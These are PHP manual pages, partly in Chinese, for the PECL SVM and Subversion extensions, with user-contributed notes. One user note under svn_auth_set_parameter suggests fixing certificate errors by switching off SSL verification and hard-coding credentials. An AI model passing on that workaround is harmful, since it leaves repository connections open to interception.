There are no user contributed notes for this page.


Construct a new SVM object

  • ? SVM
  • SVM::crossvalidate ?
  • PHP Manual
  • SVM
  • Construct a new SVM object

SVM::__construct

(PECL svm >= 0.1.0)

SVM::__construct — Construct a new SVM object

说明

public SVM::__construct()

Constructs a new SVM object ready to accept training data.

参数

此函数没有参数。

错误／异常

Throws a SVMException if the libsvm library could not be loaded.

User Contributed Notes

There are no user contributed notes for this page.


Test training params on subsets of the training data

  • ? SVM::__construct
  • SVM::getOptions ?
  • PHP Manual
  • SVM
  • Test training params on subsets of the training data

SVM::crossvalidate

(PECL svm >= 0.1.0)

SVM::crossvalidate — Test training params on subsets of the training data

说明

public svm::crossvalidate(array $problem, int $number_of_folds): float

Crossvalidate can be used to test the effectiveness of the current parameter set on a subset of the training data. Given a problem set and a n "folds", it separates the problem set into n subsets, and the repeatedly trains on one subset and tests on another. While the accuracy will generally be lower than a SVM trained on the enter data set, the accuracy score returned should be relatively useful, so it can be used to test different training parameters.

参数

problem

The problem data. This can either be in the form of an array, the URL of an SVMLight formatted file, or a stream to an opened SVMLight formatted datasource.

number_of_folds

The number of sets the data should be divided into and cross tested. A higher number means smaller training sets and less reliability. 5 is a good number to start with.

返回值

The correct percentage, expressed as a floating point number from 0-1. In the case of NU_SVC or EPSILON_SVR kernels the mean squared error will returned instead.

参见

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

kadirerturk at gmail dot com 10-Oct-2014 05:14
$svm = new SVM();
$cross = $svm->crossvalidate("/svmScaled.data" , 5); // 5 fold cross val
var_dump($cross); //


Return the current training parameters

  • ? SVM::crossvalidate
  • SVM::setOptions ?
  • PHP Manual
  • SVM
  • Return the current training parameters

SVM::getOptions

(PECL svm >= 0.1.0)

SVM::getOptions — Return the current training parameters

说明

public SVM::getOptions(): array

Retrieve an array containing the training parameters. The parameters will be keyed on the predefined SVM constants.

参数

此函数没有参数。

返回值

Returns an array of configuration settings.

User Contributed Notes

There are no user contributed notes for this page.


Set training parameters

  • ? SVM::getOptions
  • SVM::train ?
  • PHP Manual
  • SVM
  • Set training parameters

SVM::setOptions

(PECL svm >= 0.1.0)

SVM::setOptions — Set training parameters

说明

public SVM::setOptions(array $params): bool

Set one or more training parameters.

参数

params

An array of training parameters, keyed on the SVM constants.

返回值

Return true on success, throws SVMException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create a SVMModel based on training data

  • ? SVM::setOptions
  • SVMModel ?
  • PHP Manual
  • SVM
  • Create a SVMModel based on training data

SVM::train

(PECL svm >= 0.1.0)

SVM::train — Create a SVMModel based on training data

说明

public svm::train(array $problem, array $weights = ?): SVMModel

Train a support vector machine based on the supplied training data.

参数

problem

The problem can be provided in three different ways. An array, where the data should start with the class label (usually 1 or -1) then followed by a sparse data set of dimension => data pairs. A URL to a file containing a SVM Light formatted problem, with the each line being a new training example, the start of each line containing the class (1, -1) then a series of tab separated data values shows as key:value. A opened stream pointing to a data source formatted as in the file above.

weights

Weights are an optional set of weighting parameters for the different classes, to help account for unbalanced training sets. For example, if the classes were 1 and -1, and -1 had significantly more example than one, the weight for -1 could be 0.5. Weights should be in the range 0-1.

返回值

Returns an SVMModel that can be used to classify previously unseen data. Throws SVMException on error

User Contributed Notes

There are no user contributed notes for this page.


The SVMModel class

(PECL svm >= 0.1.0)

简介

The SVMModel is the end result of the training process. It can be used to classify previously unseen data.

类摘要

class SVMModel {
/* 方法 */
public __construct(string $filename = ?)
public checkProbabilityModel(): bool
public getLabels(): array
public getNrClass(): int
public getSvmType(): int
public getSvrProbability(): float
public load(string $filename): bool
public predict_probability(array $data): float
public predict(array $data): float
public save(string $filename): bool
}

Table of Contents

  • SVMModel::checkProbabilityModel — Returns true if the model has probability information
  • SVMModel::__construct — Construct a new SVMModel
  • SVMModel::getLabels — Get the labels the model was trained on
  • SVMModel::getNrClass — Returns the number of classes the model was trained with
  • SVMModel::getSvmType — Get the SVM type the model was trained with
  • SVMModel::getSvrProbability — Get the sigma value for regression types
  • SVMModel::load — Load a saved SVM Model
  • SVMModel::predict_probability — Return class probabilities for previous unseen data
  • SVMModel::predict — Predict a value for previously unseen data
  • SVMModel::save — Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.


Returns true if the model has probability information

  • ? SVMModel
  • SVMModel::__construct ?
  • PHP Manual
  • SVMModel
  • Returns true if the model has probability information

SVMModel::checkProbabilityModel

(PECL svm >= 0.1.5)

SVMModel::checkProbabilityModel — Returns true if the model has probability information

说明

public SVMModel::checkProbabilityModel(): bool

Returns true if the model contains probability information.

参数

此函数没有参数。

返回值

Return a boolean value

User Contributed Notes

There are no user contributed notes for this page.


Construct a new SVMModel

  • ? SVMModel::checkProbabilityModel
  • SVMModel::getLabels ?
  • PHP Manual
  • SVMModel
  • Construct a new SVMModel

SVMModel::__construct

(PECL svm >= 0.1.0)

SVMModel::__construct — Construct a new SVMModel

说明

public SVMModel::__construct(string $filename = ?)

Build a new SVMModel. Models will usually be created from the SVM::train function, but then saved models may be restored directly.

参数

filename

The filename for the saved model file this model should load.

错误／异常

Throws a SVMException on error

参见

  • SVMModel::load() - Load a saved SVM Model

User Contributed Notes

There are no user contributed notes for this page.


Get the labels the model was trained on

  • ? SVMModel::__construct
  • SVMModel::getNrClass ?
  • PHP Manual
  • SVMModel
  • Get the labels the model was trained on

SVMModel::getLabels

(PECL svm >= 0.1.5)

SVMModel::getLabels — Get the labels the model was trained on

说明

public SVMModel::getLabels(): array

Return an array of labels that the model was trained on. For regression and one class models an empty array is returned.

参数

此函数没有参数。

返回值

Return an array of labels

参见

  • SVMModel::getNrClass() - Returns the number of classes the model was trained with

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of classes the model was trained with

  • ? SVMModel::getLabels
  • SVMModel::getSvmType ?
  • PHP Manual
  • SVMModel
  • Returns the number of classes the model was trained with

SVMModel::getNrClass

(PECL svm >= 0.1.5)

SVMModel::getNrClass — Returns the number of classes the model was trained with

说明

public SVMModel::getNrClass(): int

Returns the number of classes the model was trained with, will return 2 for one class and regression models.

参数

此函数没有参数。

返回值

Return an integer number of classes

User Contributed Notes

There are no user contributed notes for this page.


Get the SVM type the model was trained with

  • ? SVMModel::getNrClass
  • SVMModel::getSvrProbability ?
  • PHP Manual
  • SVMModel
  • Get the SVM type the model was trained with

SVMModel::getSvmType

(PECL svm >= 0.1.5)

SVMModel::getSvmType — Get the SVM type the model was trained with

说明

public SVMModel::getSvmType(): int

Returns an integer value representing the type of the SVM model used, e.g SVM::C_SVC.

参数

此函数没有参数。

返回值

Return an integer SVM type

User Contributed Notes

There are no user contributed notes for this page.


Get the sigma value for regression types

  • ? SVMModel::getSvmType
  • SVMModel::load ?
  • PHP Manual
  • SVMModel
  • Get the sigma value for regression types

SVMModel::getSvrProbability

(PECL svm >= 0.1.5)

SVMModel::getSvrProbability — Get the sigma value for regression types

说明

public SVMModel::getSvrProbability(): float

For regression models, returns a sigma value. If there is no probability information or the model is not SVR, 0 is returned.

参数

此函数没有参数。

返回值

Returns a sigma value

User Contributed Notes

There are no user contributed notes for this page.


Load a saved SVM Model

  • ? SVMModel::getSvrProbability
  • SVMModel::predict_probability ?
  • PHP Manual
  • SVMModel
  • Load a saved SVM Model

SVMModel::load

(PECL svm >= 0.1.00.1.0)

SVMModel::load — Load a saved SVM Model

说明

public SVMModel::load(string $filename): bool

Load a model file ready for classification or regression.

参数

filename

The filename of the model.

返回值

Throws SVMException on error. Returns true on success.

参见

  • SVMModel::save() - Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.


Return class probabilities for previous unseen data

  • ? SVMModel::load
  • SVMModel::predict ?
  • PHP Manual
  • SVMModel
  • Return class probabilities for previous unseen data

SVMModel::predict_probability

(PECL svm >= 0.1.4)

SVMModel::predict_probability — Return class probabilities for previous unseen data

说明

public SVMModel::predict_probability(array $data): float

This function accepts an array of data and attempts to predict the class, as with the predict function. Additionally, however, this function returns an array of probabilities, one per class in the model, which represent the estimated chance of the data supplied being a member of that class. Requires that the model to be used has been trained with the probability parameter set to true.

参数

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

probabilities

The supplied value will be filled with the probabilities. This will be either null, in the case of a model without probability information, or an array where the index is the class name and the value the predicted probability.

返回值

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

参见

  • SVM::predict()

User Contributed Notes

There are no user contributed notes for this page.


Predict a value for previously unseen data

  • ? SVMModel::predict_probability
  • SVMModel::save ?
  • PHP Manual
  • SVMModel
  • Predict a value for previously unseen data

SVMModel::predict

(PECL svm >= 0.1.0)

SVMModel::predict — Predict a value for previously unseen data

说明

public SVMModel::predict(array $data): float

This function accepts an array of data and attempts to predict the class or regression value based on the model extracted from previously trained data.

参数

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

返回值

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

参见

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.


Save a model to a file

  • ? SVMModel::predict
  • SVN ?
  • PHP Manual
  • SVMModel
  • Save a model to a file

SVMModel::save

(PECL svm >= 0.1.0)

SVMModel::save — Save a model to a file

说明

public SVMModel::save(string $filename): bool

Save the model data to a file, for later use.

参数

filename

The file to save the model to.

返回值

Throws SVMException on error. Returns true on success.

参见

  • SVMModel::load() - Load a saved SVM Model

User Contributed Notes

There are no user contributed notes for this page.


Subversion

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SVN 函数
    • svn_add — 在工作目录列入新增项
    • svn_auth_get_parameter — Retrieves authentication parameter
    • svn_auth_set_parameter — Sets an authentication parameter
    • svn_blame — Get the SVN blame for a file
    • svn_cat — Returns the contents of a file in a repository
    • svn_checkout — Checks out a working copy from the repository
    • svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks
    • svn_client_version — Returns the version of the SVN client libraries
    • svn_commit — 将修改的本地文件副本发送至版本库
    • svn_delete — Delete items from a working copy or repository
    • svn_diff — Recursively diffs two paths
    • svn_export — Export the contents of a SVN directory
    • svn_fs_abort_txn — Aborts a transaction
    • svn_fs_apply_text — Creates and returns a stream that will be used to replace
    • svn_fs_begin_txn2 — Create a new transaction
    • svn_fs_change_node_prop — Return true if everything is ok, false otherwise
    • svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot
    • svn_fs_contents_changed — Return true if content is different, false otherwise
    • svn_fs_copy — Copies a file or a directory
    • svn_fs_delete — Deletes a file or a directory
    • svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type
    • svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs
    • svn_fs_file_length — Returns the length of a file from a given version of the fs
    • svn_fs_is_dir — Determines if a path points to a directory
    • svn_fs_is_file — Determines if a path points to a file
    • svn_fs_make_dir — Creates a new empty directory
    • svn_fs_make_file — Creates a new empty file
    • svn_fs_node_created_rev — Returns the revision in which path under fsroot was created
    • svn_fs_node_prop — Returns the value of a property for a node
    • svn_fs_props_changed — Return true if props are different, false otherwise
    • svn_fs_revision_prop — Fetches the value of a named property
    • svn_fs_revision_root — Get a handle on a specific version of the repository root
    • svn_fs_txn_root — Creates and returns a transaction root
    • svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem
    • svn_import — Imports an unversioned path into a repository
    • svn_log — Returns the commit log messages of a repository URL
    • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
    • svn_mkdir — Creates a directory in a working copy or repository
    • svn_repos_create — Create a new subversion repository at path
    • svn_repos_fs_begin_txn_for_commit — Create a new transaction
    • svn_repos_fs_commit_txn — Commits a transaction and returns the new revision
    • svn_repos_fs — Gets a handle on the filesystem for a repository
    • svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath
    • svn_repos_open — Open a shared lock on a repository
    • svn_repos_recover — Run recovery procedures on the repository located at path
    • svn_revert — Revert changes to the working copy
    • svn_status — Returns the status of working copy files and directories
    • svn_update — Update working copy

User Contributed Notes

There are no user contributed notes for this page.


简介

此扩展实现了版本控制系统 » Subversion（SVN）与 PHP 的绑定，允许 PHP 脚本与 SVN 存储库和工作副本通信，而无需命令行直接调用 svn 可执行文件。

Warning

此扩展是实验性的。 此扩展的行为，包括其函数的名称和围绕此扩展的相关文档都可能会在未来的 PHP 版本中发生变化而不另行通知。使用本扩展应自行承担风险。

User Contributed Notes

There are no user contributed notes for this page.


需求

The Subversion binaries are not necessary to use this extension. However, when compiling the extension, libsvn (the Subversion headers) must be available.

User Contributed Notes

IfTrueElseFalse 01-Sep-2010 10:15
If you get
checking for svn includes... configure: error: failed to find svn_client.h

Try
sudo apt-get install libsvn-dev


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/svn

If ./configure is having trouble finding the SVN files (for example, Subversion was installed with a different prefix directory), use ./configure --with-svn=$USR_PATH to specify the directory where the include/subversion-1/ folder is located.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

Warning

If the extension is compiled against libsvn 1.3, functions that work with working copies will fail when used on working copies created by Subversion 1.4.

User Contributed Notes

alexcescalona at gmail dot com 21-Jun-2011 08:38
If you use CollabNet's Subversion client (v. 1.6.13), the development libraries are included. For the most current version (v 1.6.17) you may need to install CollabNet Subversion Edge for access to the development libraries.

Sure, the subversion-devel package should not conflict with Collabnet, but it has a dependency with the subversion package, which installs svn binaries in /usr/bin, which takes precedence over CollabNet's path in the PATH environment variable.
chris at livingresource dot net 16-Dec-2010 08:23
If you have Ubuntu (I know 10.04+, not sure about earlier), you can do this to install the package;

sudo apt-get php5-svn
Bruno Macias 30-Nov-2010 06:44
For install in CentOS 5.5

yum install subversion subversion-devel neon neon-devel
pecl install svn

echo "extension=svn.so" > /etc/php.d/svn.ini

service httpd restart
elpoutro at free dot fr 30-Sep-2008 10:44
For Windows:
If you use a fresh install of windows XP you will need all this DLL in your C:/windows/system32/ folder:
intl3_svn.dll, libdb43.dll, libapr.dll, libapriconv.dll, libaprutil.dll, libeay32.dll, msjava.dll, php5ts.dll, ssleay32.dll, vsinit.dll, msvcr71.dll, MSVCP71.DLL
I recommend to use DependencyWalker (http://www.dependencywalker.com/) with your php_svn.dll (in php extensions) to see exactly which ones you need.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SVN_REVISION_HEAD (int)
Magic number (-1) specifying the HEAD revision
Constants usable with svn_auth_set_parameter()
SVN_AUTH_PARAM_DEFAULT_USERNAME (string)
Property for default username to use when performing basic authentication
SVN_AUTH_PARAM_DEFAULT_PASSWORD (string)
Property for default password to use when performing basic authentication
SVN_AUTH_PARAM_NON_INTERACTIVE (string)
SVN_AUTH_PARAM_DONT_STORE_PASSWORDS (string)
SVN_AUTH_PARAM_NO_AUTH_CACHE (string)
SVN_AUTH_PARAM_SSL_SERVER_FAILURES (string)
SVN_AUTH_PARAM_SSL_SERVER_CERT_INFO (string)
SVN_AUTH_PARAM_CONFIG (string)
SVN_AUTH_PARAM_SERVER_GROUP (string)
SVN_AUTH_PARAM_CONFIG_DIR (string)
PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS (string)
Custom property for ignoring SSL cert verification errors
Filesystem constants
SVN_FS_CONFIG_FS_TYPE (string)
Configuration key that determines filesystem type
SVN_FS_TYPE_BDB (string)
Filesystem is Berkeley-DB implementation
SVN_FS_TYPE_FSFS (string)
Filesystem is native-filesystem implementation
Reserved property constants
SVN_PROP_REVISION_DATE (string)
svn:date
SVN_PROP_REVISION_ORIG_DATE (string)
svn:original-date
SVN_PROP_REVISION_AUTHOR (string)
svn:author
SVN_PROP_REVISION_LOG (string)
svn:log
Working copy status constants
SVN_WC_STATUS_NONE (int)
Status does not exist
SVN_WC_STATUS_UNVERSIONED (int)
Item is not versioned in working copy
SVN_WC_STATUS_NORMAL (int)
Item exists, nothing else is happening
SVN_WC_STATUS_ADDED (int)
Item is scheduled for addition
SVN_WC_STATUS_MISSING (int)
Item is versioned but missing from the working copy
SVN_WC_STATUS_DELETED (int)
Item is scheduled for deletion
SVN_WC_STATUS_REPLACED (int)
Item was deleted and then re-added
SVN_WC_STATUS_MODIFIED (int)
Item (text or properties) was modified
SVN_WC_STATUS_MERGED (int)
Item's local modifications were merged with repository modifications
SVN_WC_STATUS_CONFLICTED (int)
Item's local modifications conflicted with repository modifications
SVN_WC_STATUS_IGNORED (int)
Item is unversioned but configured to be ignored
SVN_WC_STATUS_OBSTRUCTED (int)
Unversioned item is in the way of a versioned resource
SVN_WC_STATUS_EXTERNAL (int)
Unversioned path that is populated using svn:externals
SVN_WC_STATUS_INCOMPLETE (int)
Directory does not contain complete entries list
Node type constants
SVN_NODE_NONE (int)
Absent
SVN_NODE_FILE (int)
File
SVN_NODE_DIR (int)
Directory
SVN_NODE_UNKNOWN (int)
Something Subversion cannot identify

User Contributed Notes

daevid at daevid dot com 21-Oct-2016 12:16
To get these constants so you can reverse lookup what all the integers mean, do this:

<?php

   $constants = array_flip($this->getSvnConstants('SVN_WC_STATUS'));

   $status = svn_status();

   foreach($status as &$v)
   {
          $v['text_status']       = $constants[$v['text_status']];
          $v['repos_text_status'] = $constants[$v['repos_text_status']];
          $v['prop_status']       = $constants[$v['prop_status']];
          $v['repos_prop_status'] = $constants[$v['repos_prop_status']];
    }

    public function getSvnConstants($filter='SVN_')
    {
        $constants = array();
        foreach (get_defined_constants() as $key => $value)
            if (substr($key, 0, strlen($filter)) == $filter)
                $constants[$key] = $value;

        return $constants;
    }

?>


SVN 函数

Table of Contents

  • svn_add — 在工作目录列入新增项
  • svn_auth_get_parameter — Retrieves authentication parameter
  • svn_auth_set_parameter — Sets an authentication parameter
  • svn_blame — Get the SVN blame for a file
  • svn_cat — Returns the contents of a file in a repository
  • svn_checkout — Checks out a working copy from the repository
  • svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks
  • svn_client_version — Returns the version of the SVN client libraries
  • svn_commit — 将修改的本地文件副本发送至版本库
  • svn_delete — Delete items from a working copy or repository
  • svn_diff — Recursively diffs two paths
  • svn_export — Export the contents of a SVN directory
  • svn_fs_abort_txn — Aborts a transaction
  • svn_fs_apply_text — Creates and returns a stream that will be used to replace
  • svn_fs_begin_txn2 — Create a new transaction
  • svn_fs_change_node_prop — Return true if everything is ok, false otherwise
  • svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot
  • svn_fs_contents_changed — Return true if content is different, false otherwise
  • svn_fs_copy — Copies a file or a directory
  • svn_fs_delete — Deletes a file or a directory
  • svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type
  • svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs
  • svn_fs_file_length — Returns the length of a file from a given version of the fs
  • svn_fs_is_dir — Determines if a path points to a directory
  • svn_fs_is_file — Determines if a path points to a file
  • svn_fs_make_dir — Creates a new empty directory
  • svn_fs_make_file — Creates a new empty file
  • svn_fs_node_created_rev — Returns the revision in which path under fsroot was created
  • svn_fs_node_prop — Returns the value of a property for a node
  • svn_fs_props_changed — Return true if props are different, false otherwise
  • svn_fs_revision_prop — Fetches the value of a named property
  • svn_fs_revision_root — Get a handle on a specific version of the repository root
  • svn_fs_txn_root — Creates and returns a transaction root
  • svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem
  • svn_import — Imports an unversioned path into a repository
  • svn_log — Returns the commit log messages of a repository URL
  • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
  • svn_mkdir — Creates a directory in a working copy or repository
  • svn_repos_create — Create a new subversion repository at path
  • svn_repos_fs_begin_txn_for_commit — Create a new transaction
  • svn_repos_fs_commit_txn — Commits a transaction and returns the new revision
  • svn_repos_fs — Gets a handle on the filesystem for a repository
  • svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath
  • svn_repos_open — Open a shared lock on a repository
  • svn_repos_recover — Run recovery procedures on the repository located at path
  • svn_revert — Revert changes to the working copy
  • svn_status — Returns the status of working copy files and directories
  • svn_update — Update working copy

User Contributed Notes

j dot saterfiel at gmail dot com 10-Jan-2013 12:53
The PHP SVN library functions as of 1.02 that are not listed in this documentation and their signatures

array svn_info(string path [, bool recurse = true [, int revision = -1]])

resource svn_copy(string log, string src_path, string destination_path [, bool working_copy = true [, int revision = -1]])

mixed svn_move(string src_path, string dst_path [, bool force = false])

mixed svn_proplist(string path [, bool recurse = false, [int revision]])

mixed svn_propget(string path, string property_name [, bool recurse = false [, int revision]])

bool svn_lock(string comment, mixed targets [, bool steal_lock = false])

bool svn_unlock(mixed targets [, bool break_lock= false])

resource svn_switch(string path, string url [, bool working_copy = true])

You can also use the new Svn() object for these $svn->lock()

In general any function should work just like the svn command line version.  For instance svn_info can be used against a remote url or a local path and svn_copy can also be used for local or remote operations.
bohwaz 03-Jan-2013 03:48
This extension also gives you access to an object API that is currently not documented anywhere. It uses the Svn, SvnWc, SvnWcSchedule and SvnNode classes. So you can't redeclare those names.

Here are some basics on how to use it:

<?php
$svn = new Svn;
$log = $svn->log('https://svn.example/trunk/', Svn::HEAD);
?>

Basically you can use all functions documented here by replacing the svn_ prefix with $svn-> object. Same for constants, most can be used directly from the objects.

If you're interested, make sure to check the extension source code to find out more.
chris dot lawrence at ljg dot com 30-Mar-2010 02:00
I also submitted this as a bug (since its about missing documentation).

This documentation does not mention the "svn_delete" command, but it was added in version 0.4.  You can check the release notes here:
http://pecl.php.net/package/svn/0.4

Also, you could look at the contents of the current source code (svn-0.5.1/svn.c).

But what you really need to know is that the svn_delete command works correctly with this prototype:
svn_delete(string path [, bool force = true])

It returns true on success and false on failure.
Pieter van Ginkel 21-Mar-2008 12:23
The Subversion functions work quite well for me, after some searching. I needed some time though to find out how they all worked together, but this is a basic example of svn_fs_is_file:

<?php

# Get a handle to the on-disk repository. Note that this
# is NOT a checked out project, but the actual svn repository!

$repos_handle = svn_repos_open('/var/lib/svn');
$fs_handle = svn_repos_fs($repos_handle);

# Now we need to open a revision because that's what the
# svn_fs_* methods need. You'll probably want the latest
# revision and we have a helper method for that.

$youngest_rev = svn_fs_youngest_rev($fs_handle);
$fs_rev_handle = svn_fs_revision_root($fs_handle, $youngest_rev);

# Now we can actually start doing stuff, for example the
# svn_fs_is_file call:

print_r(svn_fs_is_file($fs_rev_handle, '/a-file.txt'));

?>

There is one important thing to note about this all. You cannot let the handles expire while doing any calls to svn_fs_*. When implementing a helper class, I cached the first and third handle, but not the second one. PHP crashes hard when you do this. Keep references to all handles you get while you're calling the svn_fs_* methods.
tbrendstrup 19-Mar-2008 01:49
"[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]"

The subversion developers have a policy not to change stuff like this without changing the major version number, so these should be valid at least until subversion 2.0.0 is released. (more values might be added, but the existing ones won't change).
pierre dot beaumadier at rhapso dot fr 03-Oct-2007 06:59
[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]

For information, here are the numeric values I got for the constants :

Working copy status constants :
    * svn_wc_status_none => 1
    * svn_wc_status_unversioned => 2
    * svn_wc_status_normal => 3
    * svn_wc_status_added => 4
    * svn_wc_status_missing => 5
    * svn_wc_status_deleted => 6
    * svn_wc_status_replaced => 7
    * svn_wc_status_modified => 8
    * svn_wc_status_merged => 9
    * svn_wc_status_conflicted => 10
    * svn_wc_status_ignored => 11
    * svn_wc_status_obstructed => 12
    * svn_wc_status_external => 13
    * svn_wc_status_incomplete => 14

Node type constants :
    * svn_node_none => 0
    * svn_node_file => 1
    * svn_node_dir => 2
    * svn_node_unknown => 3


在工作目录列入新增项

  • ? SVN 函数
  • svn_auth_get_parameter ?
  • PHP Manual
  • SVN 函数
  • 在工作目录列入新增项

svn_add

(PECL svn >= 0.1.0)

svn_add — 在工作目录列入新增项

说明

svn_add(string $path, bool $recursive = true, bool $force = false): bool

添加文件, 目录或者链接在 path 到工作目录。将在下一次执行 svn_commit() 时把工作副本添加到项目中。

参数

path

添加项的路径。

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

recursive

如果添加项为目录是否递归目录下所有文件。 默认为 true

force

如果为 true，Subversion 将递归到已版本化的目录，以添加可能隐藏在这些目录中的未版本化文件。默认为 false

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 svn_add() 例子

在工作目录使用命令 svn status 返回值:

$ svn status
?      foobar.txt

...代码:

<?php
svn_add('foobar.txt');
?>

...计划 foobar.txt 文件添加到版本库。

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • » 关于 svn add 的 SVN 文档

User Contributed Notes

There are no user contributed notes for this page.


Retrieves authentication parameter

  • ? svn_add
  • svn_auth_set_parameter ?
  • PHP Manual
  • SVN 函数
  • Retrieves authentication parameter

svn_auth_get_parameter

(PECL svn >= 0.1.0)

svn_auth_get_parameter — Retrieves authentication parameter

说明

svn_auth_get_parameter(string $key): string

Retrieves authentication parameter at key. For a list of valid keys and their meanings, consult the authentication constants list.

参数

key

String key name. Use the authentication constants defined by this extension to specify a key.

返回值

Returns the string value of the parameter at key; returns null if parameter does not exist.

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_auth_set_parameter() - Sets an authentication parameter
  • Authentication constants

User Contributed Notes

There are no user contributed notes for this page.


Sets an authentication parameter

  • ? svn_auth_get_parameter
  • svn_blame ?
  • PHP Manual
  • SVN 函数
  • Sets an authentication parameter

svn_auth_set_parameter

(PECL svn >= 0.1.0)

svn_auth_set_parameter — Sets an authentication parameter

说明

svn_auth_set_parameter(string $key, string $value): void

Sets authentication parameter at key to value. For a list of valid keys and their meanings, consult the authentication constants list.

参数

key

String key name. Use the authentication constants defined by this extension to specify a key.

value

String value to set to parameter at key. Format of value varies with the parameter.

返回值

没有返回值。

示例

Example #1 Default authentication example

This example configures SVN so that the default username to use is 'Bob' and the default password is 'abc123':

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
?>

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_auth_get_parameter() - Retrieves authentication parameter
  • Authentication constants

User Contributed Notes

powtac at gmx dot de 07-Jun-2011 07:38
If you having trouble with certificate verification like this:

PHP Warning:  svn_log(): svn error(s) occured 175002 (RA  layer request failed) OPTIONS of 'https://example.com/your/repos/path': Server certificate verification failed: issuer is not trusted

Try this two steps:

1. Run

"svn log https://example.com/your/repos/path"

on the commandline and permanent accept the certificate by typing "p" when asked.

2. Use the following settings for svn_auth_set_parameter() before calling other svn functions:

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME,             'your svn user');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD,             'your svn users password');
svn_auth_set_parameter(PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS, true); // <--- Important for certificate issues!
svn_auth_set_parameter(SVN_AUTH_PARAM_NON_INTERACTIVE,              true);
svn_auth_set_parameter(SVN_AUTH_PARAM_NO_AUTH_CACHE,                true);

var_dump(svn_log('https://example.com/your/repos/path'));
?>

This will work for SVN client libraries below 1.6!


Get the SVN blame for a file

  • ? svn_auth_set_parameter
  • svn_cat ?
  • PHP Manual
  • SVN 函数
  • Get the SVN blame for a file

svn_blame

(PECL svn >= 0.3.0)

svn_blame — Get the SVN blame for a file

说明

svn_blame(string $repository_url, int $revision_no = SVN_REVISION_HEAD): array

Get the SVN blame of a file from a repository URL.

参数

repository_url

The repository URL.

revision_no

The revision number.

返回值

An array of SVN blame information separated by line which includes the revision number, line number, line of code, author, and date.

示例

Example #1 svn_blame() example

<?php
$svnurl = 'http://svn.example.org/svnroot/foo/trunk/index.php';

print_r( svn_blame($svnurl) );

?>

以上示例的输出类似于：

Array
(
    [0] = Array
          (
           [rev] = 1
           [line_no] = 1
           [line] = Hello World
           [author] = joesmith
           [date] = 2007-07-02T05:51:26.628396Z
          )
    [1] = Array
          ...

参见

  • svn_diff() - Recursively diffs two paths
  • svn_logs()
  • svn_status() - Returns the status of working copy files and directories

User Contributed Notes

There are no user contributed notes for this page.


Returns the contents of a file in a repository

  • ? svn_blame
  • svn_checkout ?
  • PHP Manual
  • SVN 函数
  • Returns the contents of a file in a repository

svn_cat

(PECL svn >= 0.1.0)

svn_cat — Returns the contents of a file in a repository

说明

svn_cat(string $repos_url, int $revision_no = ?): string

Returns the contents of the URL repos_url to a file in the repository, optionally at revision number revision_no.

参数

repos_url

String URL path to item in a repository.

revision_no

Integer revision number of item to retrieve, default is the HEAD revision.

返回值

Returns the string contents of the item from the repository on success, and false on failure.

示例

Example #1 Basic example

This example retrieves the contents of a file at revision 28:

<?php
$contents = svn_cat('http://www.example.com/svnroot/calc/gui.c', 28)
?>

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_list()
  • » SVN documentation on svn cat

User Contributed Notes

colm 21-Feb-2014 10:16
Just to add to Adam's comment, when retrieving a file contents I found I got the best results using the same revision in both places every time; ie. as follows:

<?php
svn_cat ($url.'@'.$revision, $revision);
?>

The one appended to the URL is the peg revision, and the one in the second paramer is the operative revision.

